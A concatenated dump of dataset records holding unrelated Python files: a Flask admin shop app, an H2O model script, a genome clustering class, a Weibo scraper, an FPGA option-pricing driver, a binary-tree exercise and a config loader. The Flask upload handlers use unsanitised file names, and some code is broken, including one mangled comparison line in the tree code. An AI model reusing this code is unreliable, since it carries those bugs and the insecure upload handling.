render_template('login.html', form=form)\n return render_template('login.html', form=form)\n\n@app.route('/logout')\ndef logout():\n resp = make_response(render_template('login.html', form=LoginForm(), message=\"Session Expired\"))\n session.clear()\n return resp\n\n@app.route('/check', methods=['POST'])\ndef check():\n id = request.form.get('id')\n try:\n check_done_function(id)\n except Exception as e:\n session.clear()\n flash(str(e))\n return redirect('/menu')\n\n@app.route('/uncheck', methods=['POST'])\ndef uncheck():\n id = request.form.get('id')\n try:\n check_undone_function(id)\n except Exception as e:\n session.clear()\n flash(str(e))\n return redirect('/menu')\n\n@app.route('/changeprofile', methods=['POST'])\ndef changemailform():\n email = request.form.get('newmail')\n phone = request.form.get('newphone')\n user = session['user']\n try:\n change = profilechange(email,phone,user)\n if change[1] == 200:\n flash('Profile successful changed')\n else:\n flash('Failed to change')\n except Exception as e:\n session.clear()\n flash(str(e))\n return redirect('/menu')\n\n\n@app.route('/changepassword', methods=['POST'])\ndef changepassword():\n curpass = request.form.get('curpass')\n newpass = request.form.get('newpass')\n user = session['user']\n try:\n passchange(user,curpass,newpass)\n flash('Password successful changed')\n except Exception as e:\n session.clear()\n flash(str(e))\n return redirect('/menu')\n\n@app.route('/message', methods=['GET', 'POST'])\ndef message():\n if session.get('if_logged') is not None:\n user = session.get('user')\n messages = []\n if request.method == 'POST':\n datepicker = request.form.get('date').split('T')\n date = datepicker[0]\n try:\n msg = get_messages_by_date(date)\n if msg[1] == 200:\n flash(f\"Found total {len(msg[0])} message\")\n messages.extend(msg[0])\n else:\n flash(\"No message found\")\n except Exception as e:\n session.clear()\n flash('Error: {}'.format(str(e)))\n pass\n else:\n try:\n current_date = datetime.now().strftime('%Y-%m-%d')\n msg = get_messages_by_date(current_date)\n if msg[1] == 200 and len(msg[0]) > 0:\n flash(f\"Found total {len(msg[0])} message\")\n messages.extend(msg[0])\n else:\n flash(\"No message found\")\n except Exception as e:\n session.clear()\n flash('Error: {}'.format(str(e)))\n pass\n return render_template('message.html', user=user, datas=messages)\n else:\n flash('You need to login')\n return redirect('/login', code=302)\n\n\n@app.route('/orderlist', methods=['GET', 'POST'])\ndef orderlist():\n if session.get('if_logged') is not None:\n orders = []\n sales = 0\n user = session.get('user')\n if request.method == 'POST':\n datepicker = request.form.get('date').split('T')\n date = datepicker[0]\n try:\n orders = get_items(date)\n for order in orders:\n sales += int(order['total'])\n except Exception as e:\n session.clear()\n flash('Error: {}'.format(str(e)))\n pass\n else:\n try:\n current_date = datetime.now().strftime('%Y-%m-%d')\n orders = get_items(current_date)\n for order in orders:\n sales += int(order['total'])\n except Exception as e:\n session.clear()\n flash('Error: {}'.format(str(e)))\n pass\n if len(orders) == 0:\n flash('No order found')\n return render_template('orderlist.html', user=user, datas=orders, sales=sales)\n else:\n flash('You need to login')\n return redirect('/login', code=302)\n\n@app.route('/admin_products', methods=['GET', 'POST'])\ndef admin_products():\n if session.get('if_logged') is not None:\n products = []\n user = session.get('user')\n items = get_products()\n for product in items:\n images = []\n if 'images' in product:\n if 'profile' in product['images']:\n profileimg = product['images']['profile']['path']\n bucket_name = product['images']['profile']['bucket_name']\n try:\n file = download.download_file(profileimg, bucket_name=bucket_name)\n product['img'] = base64.b64encode(file['data']).decode('ascii')\n product['content_type'] = file['content_type']\n product['profilehasimg'] = True\n except:\n product['profilehasimg'] = False\n else:\n product['profilehasimg'] = False\n if 'images' in product['images']:\n if len(product['images']['images']) != 0:\n for p in product['images']['images']:\n try:\n file = download.download_file(p['path'], p['bucket_name'])\n img = base64.b64encode(file['data']).decode('ascii')\n content_type = file['content_type']\n images.append({'img': img, 'content_type': content_type, 'hasimg': True})\n except:\n product['hasimg'] = False\n product['imgs'] = images\n product['hasimg'] = True\n else:\n product['hasimg'] = False\n product.pop('images')\n else:\n product['profilehasimg'] = False\n product['hasimg'] = False\n products.append(product)\n return render_template('admin-products.html', products=products, user=user)\n else:\n flash('You need to login')\n return redirect('/login', code=302)\n\n@app.route('/search', methods=['POST'])\ndef search():\n if request.method == 'POST':\n user = session.get('user')\n keyword = request.form.get('keyword')\n search_resp = search_function(keyword)\n if search_resp[1] == 200:\n flash(f\"Found {len(search_resp[0]['results'])} result with {search_resp[0]['keyword']}\")\n return render_template('search.html', user=user, datas=search_resp[0]['results'], keyword=search_resp[0]['keyword'], numb=len(search_resp[0]['results']))\n else:\n flash('No result found')\n return render_template('search.html', user=user, datas=[], keyword=keyword, numb=0)\n return redirect('/orderlist', code=302)\n\n@app.route('/delete', methods=['POST'])\ndef delete():\n if session.get('if_logged') is not None:\n id = request.form.get('itemid')\n delete = delete_item(id)\n flash(f\"{delete[0]}\")\n return redirect(\"/admin_products\")\n else:\n flash('You need to login')\n return redirect('/login', code=302)\n\n\n@app.route('/delete_message', methods=['POST'])\ndef delete_message():\n if session.get('if_logged') is not None:\n id = request.form.get('itemid')\n delete = delete_msg(id)\n flash(f\"{delete[0]}\")\n return redirect(\"/message\")\n else:\n flash('You need to login')\n return redirect('/login', code=302)\n\n@app.route('/edititem', methods=['POST'])\ndef edititem():\n if session.get('if_logged') is not None:\n profile = {}\n images = []\n product = get_product_by_id(request.form.get('itemid'))\n name = product['title']\n description = product['description']\n price = product['price']\n if 'images' in product:\n profile_db = product['images']\n if request.method == 'POST':\n if 'editname' in request.form:\n name = request.form.get('editname')\n if 'editdescription' in request.form:\n description = request.form.get('editdescription')\n if 'editprice' in request.form:\n price = request.form.get('editprice')\n if 'pfimg' in request.files:\n try:\n profileimg = request.files.get('pfimg')\n filepath = os.path.join(app.config['UPLOAD_PATH'], profileimg.filename)\n profileimg.save(filepath)\n resp = upload.upload_file(filepath, profileimg.content_type)\n profile['profile'] = resp\n os.remove(filepath)\n except:\n profile['profile'] = profile_db['profile']\n if 'imgs' in request.files:\n files = request.files.getlist('imgs')\n try:\n for file in files:\n filepath = os.path.join(app.config['UPLOAD_PATH'], file.filename)\n file.save(filepath)\n resp = upload.upload_file(filepath, file.content_type)\n images.append(resp)\n os.remove(filepath)\n profile['images'] = images\n except:\n profile['images'] = profile_db['images']\n update = update_product(request.form.get('itemid'),name,description,int(price), str(profile))\n if update[1] == 200:\n flash('Updated successful')\n else:\n flash('Update item failed')\n return redirect(\"admin_products\")\n else:\n flash('You need to login')\n return redirect('/login', code=302)\n\n@app.route('/additem', methods=['POST'])\ndef additem():\n if session.get('if_logged') is not None:\n profile = {}\n images = []\n if request.method == 'POST':\n name = request.form.get('name')\n description = request.form.get('description')\n price = request.form.get('price')\n profileimg = request.files.get('profileimg')\n filepath = os.path.join(app.config['UPLOAD_PATH'], profileimg.filename)\n profileimg.save(filepath)\n resp = upload.upload_file(filepath, profileimg.content_type)\n profile['profile'] = resp\n os.remove(filepath)\n files = request.files.getlist('files')\n for file in files:\n filepath = os.path.join(app.config['UPLOAD_PATH'], file.filename)\n file.save(filepath)\n resp = upload.upload_file(filepath, file.content_type)\n images.append(resp)\n os.remove(filepath)\n profile['images'] = images\n add = add_product(name,description,int(price),str(profile))\n if add[1] == 200:\n flash('Added successful')\n else:\n flash('Add item failed')\n return redirect(\"admin_products\")\n else:\n flash('You need to login')\n return redirect('/login', code=302)\ntry:\n app.config.from_pyfile('settings.cfg')\nexcept FileNotFoundError:\n app.config.from_object(Configuration)\n\nupload = FileUpload(**{'api_minio_url': app.config['MINIO_API_URL'],\n 'access_key': app.config['MINIO_ACCESS_KEY'],\n 'secret_key': app.config['MINIO_SECRET_KEY'],\n 'minio_secure': app.config['MINIO_SECURE'],\n 'bucket_name':app.config['MINIO_BUCKET_NAME']})\n\ndownload = FileDownload(**{'api_minio_url': app.config['MINIO_API_URL'],\n 'access_key': app.config['MINIO_ACCESS_KEY'],\n 'secret_key': app.config['MINIO_SECRET_KEY'],\n 'minio_secure': app.config['MINIO_SECURE']})\n\ncnxpool = mysql.connector.pooling.MySQLConnectionPool(pool_name=\"admin-online\",\n host=app.config['HOST'],\n database=app.config['DB'],\n user=app.config['USERS'],\n password=app.config['PASSWORD'],\n port=app.config['PORT'],\n pool_size=20)\nif __name__ == '__main__':\n app.run()","sub_path":"admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":28064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"580255899","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*\n\"\"\"\nCreated on Tue May 26 01:07:34 2020\n\n@author: sruthi\n\"\"\"\n\nimport pandas as pd\nimport h2o\nimport time\nfrom h2o.estimators.gbm import H2OGradientBoostingEstimator\nfrom sklearn.metrics import precision_recall_fscore_support,accuracy_score,confusion_matrix\n\nh2o.init()\n\n\ndf = h2o.import_file(\"/home/sruthi/asm-2/asm-2/1_data/bank.csv\")\ndf['Class'] = df['Class'].asfactor()\n# df['V2'] = df['V2'].asfactor()\n# df['V3'] = df['V3'].asfactor()\n# df['V4'] = df['V4'].asfactor()\n# df['V5'] = df['V5'].asfactor()\n# df['V7'] = df['V7'].asfactor()\n# df['V8'] = df['V8'].asfactor()\n# df['V9'] = df['V9'].asfactor()\n# df['V11'] = df['V11'].asfactor()\n# df['V16'] = df['V16'].asfactor()\ny = 'Class'\nx = df.col_names\nx.remove(y)\n\ntrain, test = df.split_frame(ratios=[.75])\n\n\n\nmodel_bank = H2OGradientBoostingEstimator(ntrees = 100, seed = 25,nfolds=5, max_depth=5,balance_classes=True)\n\n\nstart=time.time()\nmodel_bank.train(x=x, y=y, training_frame=train)\nend=time.time()\n \nt=(end-start)\n\nmodelfile = model_bank.download_mojo(path=\"/home/sruthi/asm-2/asm-2/3_pickle\", get_genmodel_jar=True)\nprint(\"Model saved to \" + modelfile)\n\npred = model_bank.predict(test)\n\n#data_train_all = pd.read_csv(\"/home/sruthi/asm-2/asm-2/1_data/bank_upsampled_train_75.csv\")\n# data_test_all=pd.read_csv(\"/home/sruthi/asm-2/asm-2/1_data/bank_upsampled_test_25.csv\")\n\n# data_train_all=pd.get_dummies(data_train_all,drop_first=False)\n# data_test_all=pd.get_dummies(data_test_all,drop_first=False)\n\n# data_train_h2o=h2o.H2OFrame(data_train_all)\n# data_test_h2o=h2o.H2OFrame(data_test_all)\n\n# data_train_h2o['Class']=data_train_h2o['Class'].asfactor()\n\n# model_bank = H2OGradientBoostingEstimator(ntrees = 50, seed = 25,nfolds=5, max_depth=5) ## Instantiating the class\n\n# model_bank.train(x=data_train_h2o.names[1:],y=data_train_h2o.names[0], training_frame=data_train_h2o, model_id=\"GBM_bank\",\n# validation_frame=data_train_h2o)\n\n# print(model_bank.cross_validation_metrics_summary())\n\n# # perf = model.model_performance()\n# # perf.mean_score()\n# x=data_train_h2o.names[1:]\n# perf = model_bank.model_performance()\na = model_bank.model_performance(test_data=test).confusion_matrix().to_list()[0][0]\nb= model_bank.model_performance(test_data=test).confusion_matrix().to_list()[0][1]\nc = model_bank.model_performance(test_data=test).confusion_matrix().to_list()[1][0]\nd = model_bank.model_performance(test_data=test).confusion_matrix().to_list()[1][1]\nrecall = d / (c+d)\nprecision = d/(b+d)\nf1 = 2*(precision * recall)/(precision + recall)\naccuracy = (a+d)/(a+b+c+d)\nmetrics = {}\nmetrics[\"Accuracy\"]=accuracy\nmetrics[\"Error\"]=1-accuracy\nmetrics[\"Precision\"]=precision\nmetrics[\"Recall\"]=recall\nmetrics[\"FScore\"]=f1\nmetrics[\"Single_training_time\"] = t\nmetrics[\"Cross_validated_Training_time\"] = t\nmetrics[\"Test_time_per_unit\"] = t/11303\nmetrics[\"Confusion_Matrix_rowstrue_colspred\"] = [a,b,c,d]\nmetrics[\"Test_File\"] = \"bank_upsampled_test_25.csv\"\nprint(\"accuracy: \",accuracy)\nprint(\"error,\",1-accuracy)\nprint(\"recall\",recall)\nprint(\"precision\",precision)\nprint(\"f1\",f1)\nprint(\"Training time: \",t) \n\nimport os,json\nif os.path.exists('/home/sruthi/asm-2/asm-2/3_pickle/GBE_bank_002.json'):\n with open('/home/sruthi/asm-2/asm-2/3_pickle/GBE_bank_002.json', 'r') as f:\n models = json.load(f)\n models[\"Metrics\"] = metrics\n with open('/home/sruthi/asm-2/asm-2/3_pickle/GBE_bank_002.json', 'w') as f:\n json.dump(models, f, indent = 2) \n\n# h2o.cluster().shutdown()","sub_path":"source-code/GBE_bank_002.py","file_name":"GBE_bank_002.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"122780910","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport fastcluster as fc\nimport scipy.cluster.hierarchy as sch\nfrom scipy.cluster.hierarchy import dendrogram\nimport os.path as path\n\n\ndef printout(message):\n # TODO : Make this a bit more colourful\n print(\"GenomeDataAnalyzer : \" + message)\n\n\nclass GenomeDataAnalyzer:\n def __init__(self, filename=None):\n self._data = None\n self._experiments = None\n self._experience_names = None\n self._clusters = None\n self._cluster_short = None\n\n if not filename:\n self._filename = None\n else:\n self.load(filename)\n\n def load(self, filename):\n if path.isfile(filename):\n self._filename = filename\n self._data = pd.read_table(filename)\n self._clusters = None\n printout(\"File \" + filename + \" loaded\")\n return\n\n printout(\"Could not find file. Is the path correct ?\")\n\n def set_experiments_list(self, experience_names, index_start, index_end):\n if self._data is not None:\n self._experiments = self._data.columns[range(index_start, index_end)]\n self._experience_names = experience_names\n self._compute_triplicates()\n return\n\n print(\"Could not set experiment list, please load data file first\")\n\n def get_cluster_data(self, cluster_id):\n # Get a slice of the array corresponding to a given cluster\n # You can use a gene name (cluster that this gene belongs to), or a cluster number\n\n if isinstance(cluster_id, str):\n i_cluster = self._data[self._data['GeneName'] == cluster_id]['k_index'].values[0]\n return self._data[self._data['k_index'] == i_cluster]\n\n return self._data[self._data['k_index'] == cluster_id]\n\n def list_genes(self):\n if self._data is not None:\n return self._data['GeneName']\n\n printout(\"File is not loaded. Please load a data file first\")\n return\n\n def clusterize(self, n_clusters=20, experiences_to_use=None, metric='euclidean'):\n method = 'complete'\n\n if not self._clusters:\n printout(\"Computing clusters\")\n\n if experiences_to_use:\n cols = experiences_to_use\n else:\n cols = self._experience_names\n\n # - run the hierarchical clustering, then crop to n clusters\n exp_data = self._data.select(lambda x: x in cols, axis=1)\n self._clusters = fc.linkage(exp_data, method=method, metric=metric)\n\n self._cluster_short = sch.fcluster(self._clusters, n_clusters, criterion='maxclust')\n self._data[\"k_index\"] = pd.Series(self._cluster_short, index=self._data[self._experience_names].index)\n printout(\"Data clustered - \" + str(n_clusters) + \" clusters selected\")\n\n def plot_dendrogram(self, save_figure=False, filename=None):\n # TODO: Handle options\n dendrogram(self._cluster_full)\n plt.show()\n\n def plot_gene_cluster(self, gene_name):\n if self._clusters is None:\n self.clusterize()\n\n gene_friends = self.get_cluster_data(gene_name)\n\n for _i in range(len(gene_friends['GeneName'].values)):\n plt.plot(gene_friends[self._experience_names].values[_i, :], label=gene_friends['GeneName'].values[_i])\n\n plt.legend()\n plt.xticks(np.arange(len(self._experience_names)), self._experience_names, rotation=25)\n plt.grid(True)\n plt.title(gene_name + \" cluster\")\n plt.show()\n\n def _compute_triplicates(self):\n printout(\"Computing triplicates\")\n n_real_experiments = int(len(self._experiments)/3)\n\n for i in range(n_real_experiments):\n self._data[self._experience_names[i]] = self._data[self._experiments[3*i:3*i+3]].apply(self._log_mean, axis=1)\n\n names = [name for name in self._experiments[3*i:3*i+3]]\n printout(\"Data points \" + str(names) + \" averaged - Corresponds to experience: \" + self._experience_names[i])\n\n @staticmethod\n def _log_mean(log_values):\n exp_values = np.exp2(log_values)\n return np.log2(np.mean(exp_values))\n\n","sub_path":"DNA Processing/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":4198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"282483626","text":"# python 3.6.5\n'''\nWeibo has uesd an encoded url link when a new page was refreshed.\nIt was showed below:\nRequest URL: https://m.weibo.cn/api/container/getIndex?type=uid&value=2649634977&containerid=1005052649634977\nand loading more lists '&since_id=4253870366193901' was added to the end of the url.\nthe 'since_id' is no rule to follow.\nBut a few year ago, '&page=1' is same as the '&since_id=1234567890'\nSo the script work well.\n\n'''\nimport requests\nfrom urllib.parse import urlencode\n\nheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36',\n 'Referer': 'https://m.weibo.cn/u/2649634977',\n 'X-Requested-With': 'XMLHttpRequest'\n }\n\n\ndef download(page_index):\n data = {\n 'type': 'uid',\n 'value': '2649634977',\n 'containerid': '1076032649634977',\n 'page': page_index\n }\n url = 'https://m.weibo.cn/api/container/getIndex?' + urlencode(data)\n try:\n re = requests.get(url, headers=headers)\n if re.status_code == 200:\n return re.json()\n except requests.ConnectionError as e:\n print(f'this is a error {e.args} when getting {url}')\n\n\ndef parsing(json):\n if json:\n items = json.get('data').get('cards')\n for item in items:\n item = item.get('mblog')\n weibo = {}\n weibo['id'] = item.get('id')\n weibo['created time'] = item.get('created_at')\n weibo['content'] = item.get('raw_text')\n weibo['comment'] = item.get('comments_count')\n yield weibo\n\n\nif __name__ == '__main__':\n for page in range(1, 3):\n json = download(page)\n rslt = parsing(json)\n for item in rslt:\n print(item)\n","sub_path":"my_weibo_account.py","file_name":"my_weibo_account.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"98946630","text":"from pynq import DefaultIP\nfrom pynq import Overlay\nfrom pynq import Xlnk\nimport numpy as np\nimport datetime\n\nclass BinomialTreeDriver(DefaultIP):\n def __init__(self, description):\n super().__init__(description=description)\n\n bindto = ['xilinx.com:hls:binomial_tree:1.0']\n\n @property\n def status(self):\n return self.read(0x00)\n \n @status.setter\n def status(self, value):\n self.write(0x00, value)\n\n @property\n def output(self):\n return self.read(0x10)\n\n @output.setter\n def output(self, value):\n self.write(0x10, value)\n\n @property\n def spot_price(self):\n return self.read(0x18)\n\n @spot_price.setter\n def spot_price(self, value):\n self.write(0x18, value)\n\n @property\n def strike_price(self):\n return self.read(0x20)\n\n @strike_price.setter\n def strike_price(self, value):\n self.write(0x20, value)\n\n @property\n def time_to_maturity(self):\n return self.read(0x28)\n\n @time_to_maturity.setter\n def time_to_maturity(self, value):\n self.write(0x28, value)\n\n @property\n def dividend_yield(self):\n return self.read(0x30)\n\n @dividend_yield.setter\n def dividend_yield(self, value):\n self.write(0x30, value)\n \n @property\n def risk_free_rate(self):\n return self.read(0x38)\n\n @risk_free_rate.setter\n def risk_free_rate(self, value):\n self.write(0x38, value)\n\n @property\n def volatility(self):\n return self.read(0x40)\n\n @volatility.setter\n def volatility(self, value):\n self.write(0x40, value)\n\n @property\n def type_r(self):\n return self.read(0x48)\n \n @type_r.setter\n def type_r(self, value):\n self.write(0x48, value)\n\n @property\n def height(self):\n return self.read(0x50)\n \n @height.setter\n def height(self, value):\n self.write(0x50, value)\n \n @property\n def n_options(self):\n return self.read(0x58)\n \n @n_options.setter\n def n_options(self, value):\n self.write(0x58, value)\n\n# Load bitstream\nt0 = datetime.datetime.now()\noverlay = Overlay(\"./overlay/us_binomial_tree.bit\")\nBinomialTree = overlay.binomial_tree\nt1 = datetime.datetime.now()\n\n# Time taken in seconds\ndelta = t1 - t0\nprint(\"Loaded bitstream in (seconds): \", (delta.microseconds / 1000000) + delta.seconds)\n\n# Load option data\noption_data = np.loadtxt(\"option_data.txt\", comments=\"#\", delimiter=\",\", unpack=False)\n\n# Allocate memory\nxlnk = Xlnk()\nif(option_data.ndim > 1):\n n_options = len(option_data)\n \n if n_options > 25:\n n_options = 25\nelse:\n n_options = 1\n\n# Allocate memory\noutput = xlnk.cma_array(shape=(n_options), dtype=np.float32)\nS = xlnk.cma_array(shape=(n_options), dtype=np.float32)\nK = xlnk.cma_array(shape=(n_options), dtype=np.float32)\nT = xlnk.cma_array(shape=(n_options), dtype=np.float32)\nD = xlnk.cma_array(shape=(n_options), dtype=np.float32)\nr = xlnk.cma_array(shape=(n_options), dtype=np.float32)\nv = xlnk.cma_array(shape=(n_options), dtype=np.float32)\ntype_r = xlnk.cma_array(shape=(n_options), dtype=np.int32)\nheight = xlnk.cma_array(shape=(n_options), dtype=np.int32)\n\nprint(\"Number of options: \", n_options)\n\n# Read in option data\nif(option_data.ndim > 1): # 2 or more options\n for i in range(n_options):\n S[i] = option_data[i][0]\n K[i] = option_data[i][1]\n T[i] = option_data[i][2]\n D[i] = option_data[i][3]\n r[i] = option_data[i][4]\n v[i] = option_data[i][5]\n type_r[i] = option_data[i][6]\n if(option_data[i][7] > 30000):\n height[i] = 30000\n elif(option_data[i][7] < 2):\n height[i] = 2\n else:\n height[i] = option_data[i][7]\nelse: # 1 option\n S[0] = option_data[0]\n K[0] = option_data[1]\n T[0] = option_data[2]\n D[0] = option_data[3]\n r[0] = option_data[4]\n v[0] = option_data[5]\n type_r[0] = option_data[6]\n if(option_data[7] > 30000):\n height[0] = 30000\n elif(option_data[7] < 2):\n height[i] = 2\n else:\n height[0] = option_data[7]\n\n# Define status codes\nap_start = 1\nap_done = 2\nap_idle = 4\nap_ready = 8\n\n# Transfer data to FPGA\nBinomialTree.output = output.physical_address\nBinomialTree.spot_price = S.physical_address\nBinomialTree.strike_price = K.physical_address\nBinomialTree.time_to_maturity = T.physical_address\nBinomialTree.dividend_yield = D.physical_address\nBinomialTree.risk_free_rate = r.physical_address\nBinomialTree.volatility = v.physical_address\nBinomialTree.type_r = type_r.physical_address\nBinomialTree.height = height.physical_address\nBinomialTree.n_options = n_options\n\nt0 = datetime.datetime.now()\nstatus = 0\n\n# Run IP on FPGA\nif (BinomialTree.status == ap_idle) or (BinomialTree.status == ap_ready):\n BinomialTree.status = ap_start\n \n while(status != ap_idle):\n status = BinomialTree.status\n\nt1 = datetime.datetime.now()\n\n# Time taken in seconds\ndelta = t1 - t0\nprint(\"Time taken (seconds): \", (delta.microseconds / 1000000) + delta.seconds)\nprint(output)\n","sub_path":"MSc Project/Binomial Tree/American/PYNQ-Z2/usbinomialtree.py","file_name":"usbinomialtree.py","file_ext":"py","file_size_in_byte":5095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"226196296","text":"class Height(object):\n @staticmethod\n def __init__(self):\n self.height = 0\n\n\nclass NodeBt(object):\n def __init__(self, value=None, level=1):\n self.value = value\n self.level = level\n self.left = None\n self.right = None\n\n def __repr__(self):\n return \"{}\".format(self.value)\n\n def _add_next_node(self, value, level_here=2):\n new_node = NodeBt(value, level_here)\n if not self.value:\n self.value = new_node\n elif not self.left:\n self.left = new_node\n elif not self.right:\n self.right = new_node\n else:\n self.left = self.left._add_next_node(value, level_here+1)\n return self\n\n def _search_for_node(self, value):\n if self.value == value:\n return self\n else:\n found = None\n if self.left:\n found = self.left._search_for_node(value)\n if self.right:\n found = found or self.left._search_for_node(value)\n return found\n\n def _is_leaf(self):\n return not self.right and not self.left\n\n def _get_max_height(self):\n heightr, heightl = 0,0\n if self.right:\n heightr = self.right._get_max_height()+1\n if self.left:\n heightl = self.left._get_max_height()+1\n return max(heightl, heightr)\n\n def _is_balanced(self, height=Height()):\n lh = Height()\n rh = Height()\n if self.value is None:\n return True\n l, r = True, True\n if self.left:\n l = self.left._is_balanced(lh)\n if self.right:\n r = self.right._is_balanced(rh)\n height.height = max(lh.height, rh.height) +1\n if abs(lh.height-rh.height) <=1:\n return l and r\n return False\n\n def _is_bst(self, left = None, right = None):\n if self.value:\n if left and self.valueright:\n return False\n\n l, r = True, True\n if self.left:\n l = self.left._is_bst(left, self.value)\n if self.right:\n r = self.right._is_bst(self.value, right)\n return l and r\n else:\n return True\n\nclass BinaryTree(object):\n def __init__(self):\n self.root = None\n\n def add_node(self, value):\n if not self.root:\n self.root = NodeBt(value)\n else:\n self.root._add_next_node(value)\n\n def is_leaf(self, value):\n node = self.root._search_for_node(value)\n if node:\n return node._is_leaf()\n else:\n return False\n\n def get_node_level(self, value):\n node = self.root._search_for_node(value)\n if node:\n return node.level\n else:\n return False\n\n def is_root(self, value):\n return self.root.value == value\n\n def get_height(self):\n return self.root._get_max_height()\n\n def is_balanced(self):\n return self.root._is_balanced()\n\n def is_bst(self):\n return self.root._is_bst()\n\nif __name__ == \"__main__\":\n bt = BinaryTree()\n for i in range(1, 10):\n bt.add_node(i)\n print(\"노드 8은 말단 노드입니까?\", bt.is_leaf(8))\n print(\"노드 8의 레벨은?\", bt.get_node_level(8))\n print(\"노드 10은 루트 노드입니까?\", bt.is_root(10))\n print(\"노드 1은 루트 노드입니까?\", bt.is_root(1))\n print(\"트리의 높이는?\", bt.get_height())\n print(\"이진 탐색 트리입니까?\", bt.is_bst())\n print(\"균형 트리입니까?\", bt.is_balanced())\n\n","sub_path":"풀었던 문제들/binary_tree.py","file_name":"binary_tree.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"432152602","text":"# -*- Mode: Python; indent-tabs-mode: t; python-indent: 4; tab-width: 4 -*-\n\nimport os\nimport shutil\n\nfrom configparser import ConfigParser\nfrom gi.repository import Gdk\nfrom cavalcade.logger import logger\nfrom cavalcade.common import AttributeDict, WINDOW_HINTS, AccelCheck\n\nGTK_WINDOW_TYPE_HINTS = [getattr(Gdk.WindowTypeHint, hint) for hint in WINDOW_HINTS]\nDEFAULT_WALLPAPER_FILE = \"DefaultWallpaper.svg\"\naccel = AccelCheck()\n\n\ndef str_to_rgba(hex_):\n\t\"\"\"Translate color from hex string to Gdk.RGBA\"\"\"\n\tpure_hex = hex_.lstrip(\"#\")\n\tnums = [int(pure_hex[i:i + 2], 16) / 255.0 for i in range(0, 7, 2)]\n\treturn Gdk.RGBA(*nums)\n\n\ndef rgba_to_str(rgba):\n\t\"\"\"Translate color from Gdk.RGBA to hex format\"\"\"\n\treturn \"#%02X%02X%02X%02X\" % tuple(int(getattr(rgba, name) * 255) for name in (\"red\", \"green\", \"blue\", \"alpha\"))\n\n\nclass ConfigBase(dict):\n\t\"\"\"Base for config manager\"\"\"\n\tsystem_location = (os.path.join(os.path.dirname(os.path.abspath(__file__)), \"data\"),)\n\tpath = os.path.expanduser(\"~/.config/cavalcade\")\n\n\tdef __init__(self, name, pattern=None):\n\t\tsuper().__init__()\n\t\tself.name = name\n\t\tself.pattern = pattern if pattern is not None else {}\n\t\tself.is_fallback = False\n\n\t\t# read functions\n\t\tself.reader = {\n\t\t\tint: lambda section, option: self.parser.getint(section, option),\n\t\t\tbool: lambda section, option: self.parser.getboolean(section, option),\n\t\t\tstr: lambda section, option: self.parser.get(section, option),\n\t\t\tfloat: lambda section, option: self.parser.getfloat(section, option),\n\t\t\t\"ilist\": lambda section, option: [int(v.strip()) for v in self.parser.get(section, option).split(\";\")],\n\t\t\t\"hint\": lambda section, option: getattr(Gdk.WindowTypeHint, self.parser.get(section, option)),\n\t\t\t\"accel\": lambda section, option: self.parser.get(section, option),\n\t\t\tGdk.RGBA: lambda section, option: str_to_rgba(self.parser.get(section, option)),\n\t\t}\n\n\t\t# write functions\n\t\tself.writer = {\n\t\t\tint: lambda value: str(value),\n\t\t\tbool: lambda value: str(int(value)),\n\t\t\tstr: lambda value: value,\n\t\t\tfloat: lambda value: \"{:.2f}\".format(value),\n\t\t\t\"ilist\": lambda value: \";\".join(str(i) for i in value),\n\t\t\t\"hint\": lambda value: value.value_nick.upper(),\n\t\t\t\"accel\": lambda value: value,\n\t\t\tGdk.RGBA: lambda value: rgba_to_str(value),\n\t\t}\n\n\t\t# init\n\t\tself._init_config_file()\n\t\tself._load_config_file()\n\n\tdef _init_config_file(self):\n\t\t\"\"\"Setup user config directory and file\"\"\"\n\t\tfor path in self.system_location:\n\t\t\tcandidate = os.path.join(path, self.name)\n\t\t\tif os.path.isfile(candidate):\n\t\t\t\tself.defconfig = candidate\n\t\t\t\tbreak\n\n\t\tif not os.path.exists(self.path):\n\t\t\tos.makedirs(self.path)\n\n\t\tself.file = os.path.join(self.path, self.name)\n\n\t\tif not os.path.isfile(self.file):\n\t\t\tshutil.copyfile(self.defconfig, self.file)\n\t\t\tlogger.info(\"New configuration file was created:\\n%s\" % self.file)\n\n\tdef _load_config_file(self):\n\t\t\"\"\"Read raw config data\"\"\"\n\t\tself.parser = ConfigParser()\n\t\ttry:\n\t\t\tself.parser.read(self.file)\n\t\t\tself.read_data()\n\t\t\tlogger.debug(\"User config '%s' successfully loaded.\" % self.name)\n\t\texcept Exception:\n\t\t\tself.is_fallback = True\n\t\t\tlogger.exception(\"Fail to read '%s' user config:\" % self.name)\n\t\t\tlogger.info(\"Trying with default config...\")\n\t\t\tself.parser.read(self.defconfig)\n\t\t\tself.read_data()\n\t\t\tlogger.debug(\"Default config '%s' successfully loaded.\" % self.name)\n\n\tdef read_data(self):\n\t\t\"\"\"Transform raw config data to user specified types\"\"\"\n\t\tfor section in self.pattern.keys():\n\t\t\tself[section] = dict()\n\t\t\tfor option, pattern in self.pattern[section].items():\n\t\t\t\treader = self.reader[pattern.type]\n\t\t\t\tself[section][option] = reader(section, option)\n\t\t\t\tif \"valid\" in pattern and self[section][option] not in pattern.valid:\n\t\t\t\t\traise Exception(\"Bad value for '%s' in '%s'\" % (option, section))\n\n\tdef write_data(self):\n\t\t\"\"\"Transform user specified data to raw config parser strings\"\"\"\n\t\tfor section in self.pattern.keys():\n\t\t\tfor option, pattern in self.pattern[section].items():\n\t\t\t\twriter = self.writer[pattern.type]\n\t\t\t\tself.parser[section][option] = writer(self[section][option])\n\n\tdef save_data(self):\n\t\t\"\"\"Save settings to 